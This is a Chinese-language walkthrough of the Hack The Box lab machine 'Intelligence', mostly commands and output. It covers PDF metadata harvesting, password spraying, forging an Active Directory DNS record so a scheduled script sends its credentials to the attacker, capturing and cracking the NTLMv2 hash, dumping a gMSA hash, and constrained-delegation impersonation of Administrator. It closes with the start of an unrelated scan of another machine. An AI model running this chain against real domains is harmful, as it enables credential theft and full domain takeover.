端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
$ rustscan --accessible -a 10.129.85.15 --range 1-65535 --ulimit 5000 -- -sT -A -n -oN ports -Pn
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2021-07-04 16:20:31Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767 9533 67fb d65d 6065 dff7 7ad8 3e88
| SHA-1: 1555 29d9 fef8 1aec 41b7 dab2 84d7 0f9d 30c7 bde7
|_ssl-date: 2021-07-04T16:22:03+00:00; +6h59m55s from scanner time.
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767 9533 67fb d65d 6065 dff7 7ad8 3e88
| SHA-1: 1555 29d9 fef8 1aec 41b7 dab2 84d7 0f9d 30c7 bde7
|_ssl-date: 2021-07-04T16:22:03+00:00; +6h59m56s from scanner time.
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767 9533 67fb d65d 6065 dff7 7ad8 3e88
| SHA-1: 1555 29d9 fef8 1aec 41b7 dab2 84d7 0f9d 30c7 bde7
|_ssl-date: 2021-07-04T16:22:05+00:00; +6h59m56s from scanner time.
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767 9533 67fb d65d 6065 dff7 7ad8 3e88
| SHA-1: 1555 29d9 fef8 1aec 41b7 dab2 84d7 0f9d 30c7 bde7
|_ssl-date: 2021-07-04T16:22:03+00:00; +6h59m56s from scanner time.
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49677/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc syn-ack Microsoft Windows RPC
49694/tcp open msrpc syn-ack Microsoft Windows RPC
49700/tcp open msrpc syn-ack Microsoft Windows RPC
63408/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

User Tiffany.Molina

通过Microsoft IIS Tilde漏洞用shortname泄露文件名

1
2
3
4
5
$ rustbuster tilde -u http://10.129.85.15 -X OPTIONS
⠁ [00:00:00]
Directory docume~1
File index~1.htm
[00:00:16] 591 requests done | req/s: 36 | queued reqs: 0

访问documents目录得到403错误

/images/HTB-Intelligence-Machine/Untitled.png

网站首页有两个文档链接

http://10.129.85.15/documents/2020-01-01-upload.pdf

http://10.129.85.15/documents/2020-12-15-upload.pdf

将这两个PDF文件下载到本地,使用exiftool发现两个用户名Jose.WilliamsWilliam.Lee

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ exiftool 2020-12-15-upload.pdf
ExifTool Version Number : 12.16
File Name : 2020-12-15-upload.pdf
Directory : .
File Size : 27 KiB
File Modification Date/Time : 2021:04:01 13:00:00-04:00
File Access Date/Time : 2021:07:04 05:31:53-04:00
File Inode Change Date/Time : 2021:07:04 05:31:53-04:00
File Permissions : rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 1
Creator : Jose.Williams

$ exiftool 2020-01-01-upload.pdf
ExifTool Version Number : 12.16
File Name : 2020-01-01-upload.pdf
Directory : .
File Size : 26 KiB
File Modification Date/Time : 2021:04:01 13:00:00-04:00
File Access Date/Time : 2021:07:04 05:32:03-04:00
File Inode Change Date/Time : 2021:07:04 05:32:03-04:00
File Permissions : rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 1
Creator : William.Lee

另外,还在/documents下找到许多shortname,大多为PDF文件,重点关注文件名为日期格式的文件

1
2
3
4
5
6
7
8
9
10
11
12
File            2021-0~1.pdf
File 2020-1~1.pdf
File 2020-0~1.pdf
File 2021-0~2.pdf
File 2021-0~3.pdf
File 2021-0~4.pdf
File 2020-1~3.pdf
File 2020-1~2.pdf
File 2020-1~4.pdf
File 2020-0~2.pdf
File 2020-0~3.pdf
File 2020-0~4.pdf

根据已有的两个PDF文件名格式,编写一个python脚本枚举剩下的以日期YYYY-MM-DD-upload.pdf为格式的PDF文件

1
2
3
4
5
6
7
8
import requests

for y in range(2020, 2022):
for m in range(1, 13):
for d in range(1, 32):
url = f'http://intelligence.htb/documents/{y}-{m:02}-{d:02}-upload.pdf'
if requests.get(url).status_code == 200:
print(url)

脚本运行结束后,找到了99个PDF,保存这些PDF的URL到pdf_urls,将这些PDF全部下载到本地

1
2
$ python3 pdf_enum.py > pdf_urls
$ wget -i pdf_urls

执行以下命令获得这些PDF的作者或创建者的用户名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ exiftool * | grep -i -E '(creator|author) [^T]' | awk '{print $3}' | unique usernames
$ cat usernames
William.Lee
Scott.Scott
Jason.Wright
Veronica.Patel
Jennifer.Thomas
Danny.Matthews
David.Reed
Stephanie.Young
Daniel.Shelton
Jose.Williams
John.Coleman
Brian.Morris
Thomas.Valenzuela
Travis.Evans
Samuel.Richardson
Richard.Williams
David.Mcbride
Anita.Roberts
Brian.Baker
Kelly.Long
Nicole.Brock
Kaitlyn.Zimmerman
Jason.Patterson
Darryl.Harris
David.Wilson
Teresa.Williamson
Ian.Duncan
Jessica.Moody
Tiffany.Molina
Thomas.Hall

执行impacketGetNPUsers.py看看哪些用户名设置了UF_DONT_REQUIRE_PREAUTH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ python3 ~/tools/impacket/examples/GetNPUsers.py -dc-ip 10.129.85.15 -no-pass -usersfile usernames intelligence/
[-] User William.Lee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Scott.Scott doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Jason.Wright doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Veronica.Patel doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Jennifer.Thomas doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Danny.Matthews doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User David.Reed doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Stephanie.Young doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Daniel.Shelton doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Jose.Williams doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User John.Coleman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Brian.Morris doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Thomas.Valenzuela doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Travis.Evans doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Samuel.Richardson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Richard.Williams doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User David.Mcbride doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Anita.Roberts doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Brian.Baker doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Kelly.Long doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Nicole.Brock doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Kaitlyn.Zimmerman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Jason.Patterson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Darryl.Harris doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User David.Wilson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Teresa.Williamson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Ian.Duncan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Jessica.Moody doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Tiffany.Molina doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Thomas.Hall doesn't have UF_DONT_REQUIRE_PREAUTH set

没有用户设置UF_DONT_REQUIRE_PREAUTH

让我们将PDF转换为文本文件,在这些文档内容中查找有用信息

首先安装poppler-utils

1
$ sudo apt install poppler-utils

执行以下脚本,将当前目录下的PDF转换为TXT存放到txt目录下

1
2
3
4
5
#!/bin/bash
mkdir txt
for pdf in *.pdf; do
pdftotext -layout $pdf txt/$pdf.txt
done

进入txt目录,执行如下命令,找到2020-06-04-upload.pdf.txt中包含default password

1
2
3
$ grep password -R
2020-06-04-upload.pdf.txt:Please login using your username and the default password of:
2020-06-04-upload.pdf.txt:After logging in please change your password as soon as possible.

查看2020-06-04-upload.pdf.txt的内容

1
2
3
4
5
6
New Account Guide
Welcome to Intelligence Corp!
Please login using your username and the default password of:
NewIntelligenceCorpUser9876

After logging in please change your password as soon as possible.

我们得到密码NewIntelligenceCorpUser9876

使用msfconsolesmb_login模块枚举该密码适用于哪些用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 10.129.85.15
RHOSTS => 10.129.85.15
msf6 auxiliary(scanner/smb/smb_login) > set USER_FILE documents/usernames
USER_FILE => documents/usernames
msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE documents/password
PASS_FILE => documents/password
msf6 auxiliary(scanner/smb/smb_login) > set stop_on_success true
stop_on_success => true

msf6 auxiliary(scanner/smb/smb_login) > run

[*] 10.129.85.15:445 - 10.129.85.15:445 - Starting SMB login bruteforce
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\William.Lee:NewIntelligenceCorpUser9876',
[!] 10.129.85.15:445 - No active DB -- Credential data will not be saved!
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Scott.Scott:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Jason.Wright:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Veronica.Patel:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Jennifer.Thomas:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Danny.Matthews:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\David.Reed:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Stephanie.Young:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Daniel.Shelton:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Jose.Williams:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\John.Coleman:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Brian.Morris:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Thomas.Valenzuela:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Travis.Evans:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Samuel.Richardson:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Richard.Williams:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\David.Mcbride:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Anita.Roberts:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Brian.Baker:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Kelly.Long:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Nicole.Brock:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Kaitlyn.Zimmerman:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Jason.Patterson:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Darryl.Harris:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\David.Wilson:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Teresa.Williamson:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Ian.Duncan:NewIntelligenceCorpUser9876',
[-] 10.129.85.15:445 - 10.129.85.15:445 - Failed: '.\Jessica.Moody:NewIntelligenceCorpUser9876',
[+] 10.129.85.15:445 - 10.129.85.15:445 - Success: '.\Tiffany.Molina:NewIntelligenceCorpUser9876'
[*] 10.129.85.15:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

找到凭据.\Tiffany.Molina:NewIntelligenceCorpUser9876,使用该凭据访问SMB

1
2
3
4
5
6
7
8
9
10
11
$ smbmap -H 10.129.85.15 -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876'
[+] IP: 10.129.85.15:445 Name: intelligence.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
IT READ ONLY
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
Users READ ONLY

Users共享在/Users目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ smbclient //10.129.85.15/Users -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password:
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Sun Apr 18 21:20:26 2021
.. DR 0 Sun Apr 18 21:20:26 2021
Administrator D 0 Sun Apr 18 20:18:39 2021
All Users DHSrn 0 Sat Sep 15 03:21:46 2018
Default DHR 0 Sun Apr 18 22:17:40 2021
Default User DHSrn 0 Sat Sep 15 03:21:46 2018
desktop.ini AHS 174 Sat Sep 15 03:11:27 2018
Public DR 0 Sun Apr 18 20:18:39 2021
Ted.Graves D 0 Sun Apr 18 21:20:26 2021
Tiffany.Molina D 0 Sun Apr 18 20:51:46 2021

\Tiffany.Molina\Desktop目录下找到user.txt,除此之外没有在Users共享中找到其他有用信息

1
2
3
4
5
smb: \Tiffany.Molina\Desktop\> ls
. DR 0 Sun Apr 18 20:51:46 2021
.. DR 0 Sun Apr 18 20:51:46 2021
user.txt AR 34 Sun Jul 4 03:09:54 2021
smb: \Tiffany.Molina\Desktop\> get user.txt

User Ted.Graves

NETLOGON共享为空,SYSVOL没有包含什么有用的信息

IT共享包含一个downdetector.ps1文件

1
2
3
4
5
6
7
8
9
10
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

这个脚本每5分钟由计划任务运行一次

脚本以LDAP查询DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb,逐个调用Invoke-WebRequest请求结果中以web开头的名称

Invoke-WebRequest带有-UseDefaultCredentials参数,该参数会在服务要求认证时传递默认凭据(这里是Ted.Graves的凭据)

downdetector.ps1中包含用户名Ted.Graves,用这个用户名在PDF文档中找到关于Ted的信息,但似乎没啥用

1
2
3
4
5
6
7
8
9
$ grep -i ted -R
2020-12-30-upload.pdf.txt:There has recently been some outages on our web servers. Ted has gotten a

$ cat 2020-12-30-upload.pdf.txt
Internal IT Update
There has recently been some outages on our web servers. Ted has gotten a
script in place to help notify us if this happens again.
Also, after discussion following our recent security audit we are in the process
of locking down our service accounts.

我们以Tiffany.Molina@intelligence.htb:NewIntelligenceCorpUser9876使用ldapsearch对LDAP进行相同查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ldapsearch -H ldap://dc.intelligence.htb -x -W -D 'Tiffany.Molina@intelligence.htb' -b 'DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb' '(name=web*)'
Enter LDAP Password:
# extended LDIF
#
# LDAPv3
# base <DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb> with scope subtree
# filter: (name=web*)
# requesting: ALL
#

# web1, intelligence.htb, MicrosoftDNS, DomainDnsZones.intelligence.htb
dn: DC=web1,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intellige
nce,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=web1,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZon
es,DC=intelligence,DC=htb
instanceType: 4
whenCreated: 20210630005218.0Z
whenChanged: 20210630010959.0Z
uSNCreated: 106733
uSNChanged: 106745
showInAdvancedViewOnly: TRUE
name: web1
objectGUID:: lgDIMYr6GkmUtbsrvMeJoA==
dnsRecord:: CAAAAAUAAABcAAAAAAAAAAAAAAAAAAAAv4FzpUxt1wE=
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=intelligence,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: TRUE
dc: web1

# search result
search: 2
result: 0 Success

此外,还可以修改DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb条目及其子条目

我们可以修改DC=web1,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intellige nce,DC=htbdnsRecord属性,使DNS解析web1到我们的IP地址(或者创建新的nameweb开头的DNS-Node条目)

之后请求发送到我们的IP地址,即可获得Invoke-WebRequest传递的凭据(前提是要运行相关服务捕获凭据)

这里使用Apache Directory Studio操作LDAP(对于添加/修改LDAP的DNS记录,也可以使用kebrelayxdnstool.py工具,但这里使用ApacheDirectoryStudio手动完成)。首先创建一个LDAP Connection

/images/HTB-Intelligence-Machine/Untitled%201.png

/images/HTB-Intelligence-Machine/Untitled%202.png

运行以下脚本,生成DNSRecord数据

1
2
3
4
5
6
7
8
f = open('payload-hex', 'wb')
# payload最后4字节修改为自己的IP地址的16进制,此例使用10.10.14.50,对应'\x0a\x0a\x0e\x2a'
payload = \
b'\x04\x00\x01\x00\x05\xf0\x00\x00'\
b'\xb7\x00\x00\x00\x00\x00\x04\xb0'\
b'\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x0a\x0a\x0e\x2a'
f.write(payload)

Payload含义参考

[MS-DNSP]: dnsRecord

修改DC=web1,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htbDNSRecord属性,双击dnsRecord并导入生成的payload-hex文件,再修改dNSTombstoned属性值为FALSE

/images/HTB-Intelligence-Machine/Untitled%203.png

然后运行responser,等待目标主机上的脚本运行

1
$ sudo responder -I tun0 -A

一段时间后得到Ted.GravesNet-NTLMv2 Hash

1
2
3
4
5
[+] Listening for events...
[HTTP] NTLMv2 Client : 10.129.85.15
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:8fb39512d1ce1d00:E0E996BA205CA2FB01F3C33296BBFD14:01010000000000004AAF1C822E71D701EC9CED2BDA87E56C000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C00080030003000000000000000000000000020000089B1D628877382CD40353F0B19B428BAE41BA85C499669A9503F6951FA39C36E0A001000000000000000000000000000000000000900340048005400540050002F0077006500620031002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
[*] Skipping previously captured hash for intelligence\Ted.Graves

使用john破解得到Ted.Graves的密码为Mr.Teddy

1
2
3
4
5
6
7
8
9
$ john ted.graves.hashes --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Mr.Teddy (Ted.Graves)
1g 0:00:00:13 DONE (2021-07-04 13:10) 0.07570g/s 818734p/s 818734c/s 818734C/s Mrz.deltasigma..Morgant1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

Root

Ted.Graves:Mr.Teddy访问SMB各共享没有什么发现

通过LDAP获得了如下Group Managed Service Account

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ ldapsearch -H ldap://dc.intelligence.htb -x -W -D 'Ted.Graves@intelligence.htb' -b 'CN=Managed Service Accounts,DC=intelligence,DC=htb'

# svc_int, Managed Service Accounts, intelligence.htb
dn: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
objectClass: computer
objectClass: msDS-GroupManagedServiceAccount
cn: svc_int
distinguishedName: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
instanceType: 4
whenCreated: 20210419004958.0Z
whenChanged: 20210630005622.0Z
uSNCreated: 12846
uSNChanged: 106739
name: svc_int
objectGUID:: eaCA8SbzskmEoTSCQgjWQg==
userAccountControl: 16781312
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 132694881825534026
localPolicyFlags: 0
pwdLastSet: 132694880879752841
primaryGroupID: 515
objectSid:: AQUAAAAAAAUVAAAARobx+nQXDcpGY+TMeAQAAA==
accountExpires: 9223372036854775807
logonCount: 1
sAMAccountName: svc_int$
sAMAccountType: 805306369
dNSHostName: svc_int.intelligence.htb
objectCategory: CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=intelligence,DC=htb
isCriticalSystemObject: FALSE
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132694881825534026
msDS-AllowedToDelegateTo: WWW/dc.intelligence.htb
msDS-SupportedEncryptionTypes: 28
msDS-ManagedPasswordId:: AQAAAEtEU0sCAAAAZwEAAB0AAAAYAAAAWa6dT0SPVr+SpfQILta2EQAAAAAiAAAAIgAAAGkAbgB0AGUAbABsAGkAZwBlAG4AYwBlAC4AaAB0AGIAAABpAG4AdABlAGwAbABpAGcAZQBuAGMAZQAuAGgAdABiAAAA
msDS-ManagedPasswordPreviousId:: AQAAAEtEU0sCAAAAZwEAABsAAAAQAAAAWa6dT0SPVr+SpfQILta2EQAAAAAiAAAAIgAAAGkAbgB0AGUAbABsAGkAZwBlAG4AYwBlAC4AaAB0AGIAAABpAG4AdABlAGwAbABpAGcAZQBuAGMAZQAuAGgAdABiAAAA
msDS-ManagedPasswordInterval: 30
msDS-GroupMSAMembership:: AQAEgBQAAAAAAAAAAAAAACQAAAABAgAAAAAABSAAAAAgAgAABABQAAIAAAAAACQA/wEPAAEFAAAAAAAFFQAAAEaG8fp0Fw3KRmPkzOgDAAAAACQA/wEPAAEFAAAAAAAFFQAAAEaG8fp0Fw3KRmPkzHYEAAA=

使用gMSADumper.py获取svc_int$NT Hash

1
2
$ python3 gMSADumper.py -u 'Ted.Graves' -p 'Mr.Teddy' -d 'intelligence.htb'
svc_int$:::d64b83fe606e6d3005e20ce0ee932fe2

该脚本通过LDAP读取CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb条目的msDS-ManagedPassword属性获取svc_int$MSDS-MANAGEDPASSWORD_BLOB,将其解析为NT Hash后输出

以下是msDS-ManagedPassword属性的描述

gMSA is short for group managed service accounts in Active Directory. gMSA accounts have their passwords stored in a LDAP property called msDS-ManagedPassword which automatically get resets by the DC’s every 30 days, are retrievable by authorized administrators and by the servers who they are installed on. msDS-ManagedPassword is an encrypted data blob called MSDS-MANAGEDPASSWORD_BLOB and it’s only retrievable when the connection is secured, LDAPS or when the authentication type is ‘Sealing & Secure’ for an example. —— https://cube0x0.github.io/Relaying-for-gMSA/

svc_int$还具有msDS-AllowedToDelegateTo: WWW/dc.intelligence.htb属性,也就是说该服务账号可能有约束性委派,通过S4U2self Extension可以从KDC获取信任的SPN(WWW/dc.intelligence.htb)主机上用户的ST(Service Ticket)

我们可以通过impacketgetST.py获取Administrator的ST

1
2
3
4
5
6
7
$ python3 ~/tools/impacket/examples/getST.py -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int$
Impacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

最后,使用impacketwmiexec.py在目标主机执行命令读取root.txt

1
2
3
4
5
$ export KRB5CCNAME=Administrator.ccache
$ python3 ~/tools/impacket/examples/wmiexec.py -k -no-pass intelligence.htb/Administrator@dc.intelligence.htb 'type c:\users\administrator\desktop\root.txt'
Impacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth Corporation
[*] SMBv3.0 dialect used
50d8d8b0edcb7b8e79c417e864b473b3

参考

[MS-DNSP]: dnsRecord

Windows Authentication

Group Managed Service Accounts Overview

IIS Authentication 和 ASP.NET Authentication

NTLM Relaying for gMSA Passwords

Kerberos Constrained Delegation

在Linux中使用kerberos黄金票据

S4U2self Extension

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ rustscan --accessible -a 10.10.10.232 --range 1-65535 --ulimit 5000 -- -sT -A -n -oN ports -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.4 (protocol 2.0)
80/tcp open http syn-ack (PHP 7.4.12)
| fingerprint-strings:
| GetRequest:
| HTTP/1.0 200 OK
| Connection: close
| Connection: close
| Content-type: text/html; charset=UTF-8
| Date: Sun, 27 Jun 2021 17:23:02 GMT
| Server: OpenBSD httpd
| X-Powered-By: PHP/7.4.12
| <!DOCTYPE html>
| <html lang="zxx">
| <head>
| <meta charset="UTF-8">
